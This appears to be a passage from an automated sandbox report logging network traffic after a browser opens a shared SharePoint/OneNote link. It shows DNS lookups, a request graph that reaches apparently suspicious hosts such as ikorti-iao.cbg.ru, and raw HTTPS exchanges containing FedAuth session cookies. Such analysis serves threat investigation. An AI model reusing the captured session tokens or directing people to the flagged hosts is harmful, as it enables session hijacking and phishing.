Jul 16, 2024 13:07:23.221467972 CEST	1.1.1.1	192.168.2.5	0x7124	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:24.020039082 CEST	1.1.1.1	192.168.2.5	0xbffd	No error (0)	www.onenote.com	reverseproxy.onenote.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:24.020039082 CEST	1.1.1.1	192.168.2.5	0xbffd	No error (0)	onservicesprod-dbakakdqhmgwebaj.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:24.020039082 CEST	1.1.1.1	192.168.2.5	0xbffd	No error (0)	shed.dual-low.s-part-0016.t-0009.t-msedge.net	s-part-0016.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:24.020039082 CEST	1.1.1.1	192.168.2.5	0xbffd	No error (0)	s-part-0016.t-0009.t-msedge.net		13.107.246.44	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:24.037484884 CEST	1.1.1.1	192.168.2.5	0x24ec	No error (0)	www.onenote.com	reverseproxy.onenote.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:24.037484884 CEST	1.1.1.1	192.168.2.5	0x24ec	No error (0)	onservicesprod-dbakakdqhmgwebaj.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:24.180114031 CEST	1.1.1.1	192.168.2.5	0xfec3	No error (0)	euc-common.online.office.com	euc-common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:24.180114031 CEST	1.1.1.1	192.168.2.5	0xfec3	No error (0)	euc-common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:24.180114031 CEST	1.1.1.1	192.168.2.5	0xfec3	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:24.180114031 CEST	1.1.1.1	192.168.2.5	0xfec3	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:24.180761099 CEST	1.1.1.1	192.168.2.5	0x8869	No error (0)	euc-common.online.office.com	euc-common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:25.015299082 CEST	1.1.1.1	192.168.2.5	0x3aa5	No error (0)	euc-common.online.office.com	euc-common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:25.015299082 CEST	1.1.1.1	192.168.2.5	0x3aa5	No error (0)	euc-common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	euc-common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:25.015299082 CEST	1.1.1.1	192.168.2.5	0x3aa5	No error (0)	euc-common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net	wac-0003.wac-dc-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:25.015299082 CEST	1.1.1.1	192.168.2.5	0x3aa5	No error (0)	wac-0003.wac-dc-msedge.net		52.108.11.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:25.015299082 CEST	1.1.1.1	192.168.2.5	0x3aa5	No error (0)	wac-0003.wac-dc-msedge.net		52.108.10.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:25.016592979 CEST	1.1.1.1	192.168.2.5	0xf867	No error (0)	euc-common.online.office.com	euc-common.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:28.600101948 CEST	1.1.1.1	192.168.2.5	0xd8d2	No error (0)	admin-portal.office.com	portal-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:28.602451086 CEST	1.1.1.1	192.168.2.5	0x3e50	No error (0)	admin-portal.office.com	portal-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:28.602983952 CEST	1.1.1.1	192.168.2.5	0x89e6	No error (0)	messaging.engagement.office.com	prod-campaignaggregator.omexexternallfb.office.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:28.605616093 CEST	1.1.1.1	192.168.2.5	0xb362	No error (0)	messaging.engagement.office.com	prod-campaignaggregator.omexexternallfb.office.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:30.449537039 CEST	1.1.1.1	192.168.2.5	0x7ca2	No error (0)	admin-portal.office.com	portal-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:30.451165915 CEST	1.1.1.1	192.168.2.5	0x1fb4	No error (0)	admin-portal.office.com	portal-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:30.612446070 CEST	1.1.1.1	192.168.2.5	0x4f9d	No error (0)	messaging.engagement.office.com	prod-campaignaggregator.omexexternallfb.office.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:30.613286018 CEST	1.1.1.1	192.168.2.5	0xc949	No error (0)	messaging.engagement.office.com	prod-campaignaggregator.omexexternallfb.office.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:32.069941998 CEST	1.1.1.1	192.168.2.5	0xcbbf	No error (0)	goaheadplatform.com		209.124.66.28	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:33.618685961 CEST	1.1.1.1	192.168.2.5	0x8673	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:33.618685961 CEST	1.1.1.1	192.168.2.5	0x8673	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:33.619821072 CEST	1.1.1.1	192.168.2.5	0x172	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jul 16, 2024 13:07:34.361891031 CEST	1.1.1.1	192.168.2.5	0x8df0	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:34.361891031 CEST	1.1.1.1	192.168.2.5	0x8df0	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:34.365963936 CEST	1.1.1.1	192.168.2.5	0x48d3	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jul 16, 2024 13:07:34.663089037 CEST	1.1.1.1	192.168.2.5	0xbb18	No error (0)	ikorti-iao.cbg.ru			65	IN (0x0001)	false
Jul 16, 2024 13:07:34.734627962 CEST	1.1.1.1	192.168.2.5	0xcd4e	No error (0)	ikorti-iao.cbg.ru		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:34.734627962 CEST	1.1.1.1	192.168.2.5	0xcd4e	No error (0)	ikorti-iao.cbg.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:37.056188107 CEST	1.1.1.1	192.168.2.5	0xfaba	No error (0)	scdn1cc4b.wpc.9aea3.sigmacdn.net	sni1gl.wpc.sigmacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:37.056188107 CEST	1.1.1.1	192.168.2.5	0xfaba	No error (0)	sni1gl.wpc.sigmacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:37.057418108 CEST	1.1.1.1	192.168.2.5	0xa9b2	No error (0)	scdn1cc4b.wpc.9aea3.sigmacdn.net	sni1gl.wpc.sigmacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:38.161453962 CEST	1.1.1.1	192.168.2.5	0xa4ce	No error (0)	scdn1cc4b.wpc.9aea3.sigmacdn.net	sni1gl.wpc.sigmacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:38.161453962 CEST	1.1.1.1	192.168.2.5	0xa4ce	No error (0)	sni1gl.wpc.sigmacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:40.493957996 CEST	1.1.1.1	192.168.2.5	0x9c39	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:40.493957996 CEST	1.1.1.1	192.168.2.5	0x9c39	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:41.012639046 CEST	1.1.1.1	192.168.2.5	0x3f35	No error (0)	scdn1cc4b.wpc.9aea3.sigmacdn.net	sni1gl.wpc.sigmacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:41.014540911 CEST	1.1.1.1	192.168.2.5	0xc42f	No error (0)	scdn1cc4b.wpc.9aea3.sigmacdn.net	sni1gl.wpc.sigmacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:41.014540911 CEST	1.1.1.1	192.168.2.5	0xc42f	No error (0)	sni1gl.wpc.sigmacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:54.379194975 CEST	1.1.1.1	192.168.2.5	0x67d2	No error (0)	euc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	euc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:54.379194975 CEST	1.1.1.1	192.168.2.5	0x67d2	No error (0)	euc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net	wac-0003.wac-dc-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:54.379194975 CEST	1.1.1.1	192.168.2.5	0x67d2	No error (0)	wac-0003.wac-dc-msedge.net		52.108.10.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:54.379194975 CEST	1.1.1.1	192.168.2.5	0x67d2	No error (0)	wac-0003.wac-dc-msedge.net		52.108.11.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:07:57.925549030 CEST	1.1.1.1	192.168.2.5	0xe57a	No error (0)	m365cdn.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:57.926580906 CEST	1.1.1.1	192.168.2.5	0x116c	No error (0)	m365cdn.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:57.927135944 CEST	1.1.1.1	192.168.2.5	0xddfc	No error (0)	m365cdn.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:57.927325964 CEST	1.1.1.1	192.168.2.5	0xc3c4	No error (0)	onenoteonline.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:57.927390099 CEST	1.1.1.1	192.168.2.5	0x24f0	No error (0)	m365cdn.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:57.927649975 CEST	1.1.1.1	192.168.2.5	0xb241	No error (0)	onenoteonline.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:57.930938959 CEST	1.1.1.1	192.168.2.5	0xe679	No error (0)	m365cdn.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:57.931792974 CEST	1.1.1.1	192.168.2.5	0xcaeb	No error (0)	m365cdn.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:58.908592939 CEST	1.1.1.1	192.168.2.5	0xd9bc	No error (0)	onenoteonline.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:07:58.912986994 CEST	1.1.1.1	192.168.2.5	0xbd02	No error (0)	onenoteonline.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:08:01.584295988 CEST	1.1.1.1	192.168.2.5	0x1f5	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:08:01.584295988 CEST	1.1.1.1	192.168.2.5	0x1f5	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:08:06.174285889 CEST	1.1.1.1	192.168.2.5	0xfaf3	No error (0)	euc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:08:06.174285889 CEST	1.1.1.1	192.168.2.5	0xfaf3	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:08:06.174285889 CEST	1.1.1.1	192.168.2.5	0xfaf3	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:08:06.176284075 CEST	1.1.1.1	192.168.2.5	0xfaf3	No error (0)	euc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:08:06.176284075 CEST	1.1.1.1	192.168.2.5	0xfaf3	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:08:06.176284075 CEST	1.1.1.1	192.168.2.5	0xfaf3	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:08:07.017396927 CEST	1.1.1.1	192.168.2.5	0x700d	No error (0)	euc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	euc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:08:07.017396927 CEST	1.1.1.1	192.168.2.5	0x700d	No error (0)	euc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net	wac-0003.wac-dc-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 16, 2024 13:08:07.017396927 CEST	1.1.1.1	192.168.2.5	0x700d	No error (0)	wac-0003.wac-dc-msedge.net		52.108.10.12	A (IP address)	IN (0x0001)	false
Jul 16, 2024 13:08:07.017396927 CEST	1.1.1.1	192.168.2.5	0x700d	No error (0)	wac-0003.wac-dc-msedge.net		52.108.11.12	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

amdat-my.sharepoint.com

https:

euc-onenote.officeapps.live.com

common.online.office.com

amcdn.msftauth.net

www.onenote.com

appsforoffice.microsoft.com

js.monitor.azure.com

euc-common.online.office.com

cdnjs.cloudflare.com

goaheadplatform.com

ikorti-iao.cbg.ru

wise-m.public.cdn.office.net

wise.public.cdn.office.net

fs.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	52.105.160.39	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:06:51 UTC	747	OUT	GET /:o:/g/personal/mai_amd_at/EoDy7F40M29Hj1IohtQ4kIQBoQXIpIg2xex0MiXjURHhng?e=a92LfU HTTP/1.1 Host: amdat-my.sharepoint.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:06:52 UTC	3874	IN	HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: https://amdat-my.sharepoint.com/personal/mai_amd_at/_layouts/15/Doc.aspx?sourcedoc=%7B5eecf280-3334-476f-8f52-2886d4389084%7D&action=default&slrid=62d63ca1-e00d-9000-7e4b-165a7241934f&originalPath=aHR0cHM6Ly9hbWRhdC1teS5zaGFyZXBvaW50LmNvbS86bzovZy9wZXJzb25hbC9tYWlfYW1kX2F0L0VvRHk3RjQwTTI5SGoxSW9odFE0a0lRQm9RWElwSWcyeGV4ME1pWGpVUkhobmc_cnRpbWU9RFlxQVpZZWwzRWc&CID=8c042d94-c5f4-4931-82d0-1e626bc30df9&_SRM=0:G:89 Server: Microsoft-IIS/10.0 X-NetworkStatistics: 0,262656,0,0,557,0,24954,73 X-SharePointHealthScore: 3 X-MS-SPO-CookieValidator: D6pUWpsdCkDQy8hF83g5POZYTnIuX/b/K4LwdLW4fLly93cFa2Ql/eUwdazs/7x9Xj3Ow8RhufHlK39GrjbRavIsRp23c9Z6O6ev2VAYyYgZxT4b4CmRePJ2AvQCsCqFs8ekzFoDG0r7QTB99jZGOgc/XqLZAvIcv7GHseStFtgn43XXcb2gSWXlGteoYCPUqfJaYACex5/iOAi+9k8LuI89QHPlwkvKohNE7TD8K3TUnp53Kevt+I0dSeK0k95ZAg3f8ExaLSZXJb390Kjpk/8SH3tpatqMdtNeB5bUf1AV+grhz5ainoCEVlN2XPQlh5kC6Cw4eKqx5di6gSYbOQ== X-AspNet-Version: 4.0.30319 Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jMTJiZWIzMGIxYWM0MmM4ODc4ZmVlYjVmZmVjY2UxY2IxMmEzOTAzOTE4YmFjMGYyMDMwZTllZDMxMzVlYWRjNywxMzM2NTYwMTkxMjAwMDAwMDAsMCwxMzM2NTY4ODAxMjE1NDY1NzYsMC4wLjAuMCwyNTgsY2NkYzRlYmUtMTg4OC00OTliLTllNzMtYmJiZDU2MDE3OWVkLCwsNjJkNjNjYTEtZTAwZC05MDAwLTdlNGItMTY1YTcyNDE5MzRmLDYyZDYzY2ExLWUwMGQtOTAwMC03ZTRiLTE2NWE3MjQxOTM0ZixwQVoyRnNMaFBVbXZBVHNSZnowUFZRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxODk5MjAsRGFEQWZqUVFtcHlPWHgyUnJLX1c1bHZvTFo0LEQ2cFVXcHNkQ2tEUXk4aEY4M2c1UE9aWVRuSXVYL2IvSzRMd2RMVzRmTGx5OTNjRmEyUWwvZVV3ZGF6cy83eDlYajNPdzhSaHVmSGxLMzlHcmpiUmF2SXNScDIzYzlaNk82ZXYyVkFZeVlnWnhUNGI0Q21SZVBKMkF2UUNzQ3FGczhla3pGb0RHMHI3UVRCOTlqWkdPZ2MvWHFMWkF2SWN2N0dIc2VTdEZ0Z240M1hYY2IyZ1NXWGxHdGVvWUNQVXFmSmFZQUNleDUvaU9BaSs5azhMdUk4OVFIUGx3a3ZLb2hORTdURDhLM1RVbnA1M0tldnQr [TRUNCATED] X-DataBoundary: EU X-1DSCollectorUrl: https://eu-mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://eu-mobile.events.data.microsoft.com/Collector/3.0 SPRequestGuid: 62d63ca1-e00d-9000-7e4b-165a7241934f request-id: 62d63ca1-e00d-9000-7e4b-165a7241934f MS-CV: oTzWYg3gAJB+SxZackGTTw.0 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=ccdc4ebe-1888-499b-9e73-bbbd560179ed&destinationEndpoint=189920&frontEnd=FarmDirect&RemoteIP=8.46.123.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 185 SPIisLatency: 3 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25103 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Date: Tue, 16 Jul 2024 11:06:51 GMT Connection: close Content-Length: 550
2024-07-16 11:06:52 UTC	550	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 64 61 74 2d 6d 79 2e 73 68 61 72 65 70 6f 69 6e 74 2e 63 6f 6d 2f 70 65 72 73 6f 6e 61 6c 2f 6d 61 69 5f 61 6d 64 5f 61 74 2f 5f 6c 61 79 6f 75 74 73 2f 31 35 2f 44 6f 63 2e 61 73 70 78 3f 73 6f 75 72 63 65 64 6f 63 3d 25 37 42 35 65 65 63 66 32 38 30 2d 33 33 33 34 2d 34 37 36 66 2d 38 66 35 32 2d 32 38 38 36 64 34 33 38 39 30 38 34 25 37 44 26 61 6d 70 3b 61 63 74 69 6f 6e 3d 64 65 66 61 75 6c 74 26 61 6d 70 3b 73 6c 72 69 64 3d 36 32 64 36 33 63 61 31 2d 65 30 30 64 2d 39 30 30 Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://amdat-my.sharepoint.com/personal/mai_amd_at/_layouts/15/Doc.aspx?sourcedoc=%7B5eecf280-3334-476f-8f52-2886d4389084%7D&action=default&slrid=62d63ca1-e00d-900

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49710	52.105.160.39	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:06:52 UTC	2209	OUT	GET /personal/mai_amd_at/_layouts/15/Doc.aspx?sourcedoc=%7B5eecf280-3334-476f-8f52-2886d4389084%7D&action=default&slrid=62d63ca1-e00d-9000-7e4b-165a7241934f&originalPath=aHR0cHM6Ly9hbWRhdC1teS5zaGFyZXBvaW50LmNvbS86bzovZy9wZXJzb25hbC9tYWlfYW1kX2F0L0VvRHk3RjQwTTI5SGoxSW9odFE0a0lRQm9RWElwSWcyeGV4ME1pWGpVUkhobmc_cnRpbWU9RFlxQVpZZWwzRWc&CID=8c042d94-c5f4-4931-82d0-1e626bc30df9&_SRM=0:G:89 HTTP/1.1 Host: amdat-my.sharepoint.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jMTJiZWIzMGIxYWM0MmM4ODc4ZmVlYjVmZmVjY2UxY2IxMmEzOTAzOTE4YmFjMGYyMDMwZTllZDMxMzVlYWRjNywxMzM2NTYwMTkxMjAwMDAwMDAsMCwxMzM2NTY4ODAxMjE1NDY1NzYsMC4wLjAuMCwyNTgsY2NkYzRlYmUtMTg4OC00OTliLTllNzMtYmJiZDU2MDE3OWVkLCwsNjJkNjNjYTEtZTAwZC05MDAwLTdlNGItMTY1YTcyNDE5MzRmLDYyZDYzY2ExLWUwMGQtOTAwMC03ZTRiLTE2NWE3MjQxOTM0ZixwQVoyRnNMaFBVbXZBVHNSZnowUFZRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxODk5MjAsRGFEQWZqUVFtcHlPWHgyUnJLX1c1bHZvTFo0LEQ2cFVXcHNkQ2tEUXk4aEY4M2c1UE9aWVRuSXVYL2IvSzRMd2RMVzRmTGx5OTNjRmEyUWwvZVV3ZGF6cy83eDlYajNPdzhSaHVmSGxLMzlHcmpiUmF2SXNScDIzYzlaNk82ZXYyVkFZeVlnWnhUNGI0Q21SZVBKMkF2UUNzQ3FGczhla3pGb0RHMHI3UVRCOTlqWkdPZ2MvWHFMWkF2SWN2N0dIc2VTdEZ0Z240M1hYY2IyZ1NXWGxHdGVvWUNQVXFmSmFZQUNleDUvaU9BaSs5azhMdUk4OVFIUGx3a3ZLb2hORTdURDhLM1RVbnA1M0tldnQrSTBk [TRUNCATED]
2024-07-16 11:06:52 UTC	3196	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 X-NetworkStatistics: 0,262656,0,0,981,0,24954,81 Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jMTJiZWIzMGIxYWM0MmM4ODc4ZmVlYjVmZmVjY2UxY2IxMmEzOTAzOTE4YmFjMGYyMDMwZTllZDMxMzVlYWRjNywxMzM2NTYwMTkxMjAwMDAwMDAsMCwxMzM2NTY4ODAxMjE1NDY1NzYsMC4wLjAuMCwyNTgsY2NkYzRlYmUtMTg4OC00OTliLTllNzMtYmJiZDU2MDE3OWVkLCwsNjJkNjNjYTEtZTAwZC05MDAwLTdlNGItMTY1YTcyNDE5MzRmLDYyZDYzY2ExLWUwMGQtOTAwMC03ZTRiLTE2NWE3MjQxOTM0ZixwQVoyRnNMaFBVbXZBVHNSZnowUFZRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxODk5MjAsRGFEQWZqUVFtcHlPWHgyUnJLX1c1bHZvTFo0LEQ2cFVXcHNkQ2tEUXk4aEY4M2c1UE9aWVRuSXVYL2IvSzRMd2RMVzRmTGx5OTNjRmEyUWwvZVV3ZGF6cy83eDlYajNPdzhSaHVmSGxLMzlHcmpiUmF2SXNScDIzYzlaNk82ZXYyVkFZeVlnWnhUNGI0Q21SZVBKMkF2UUNzQ3FGczhla3pGb0RHMHI3UVRCOTlqWkdPZ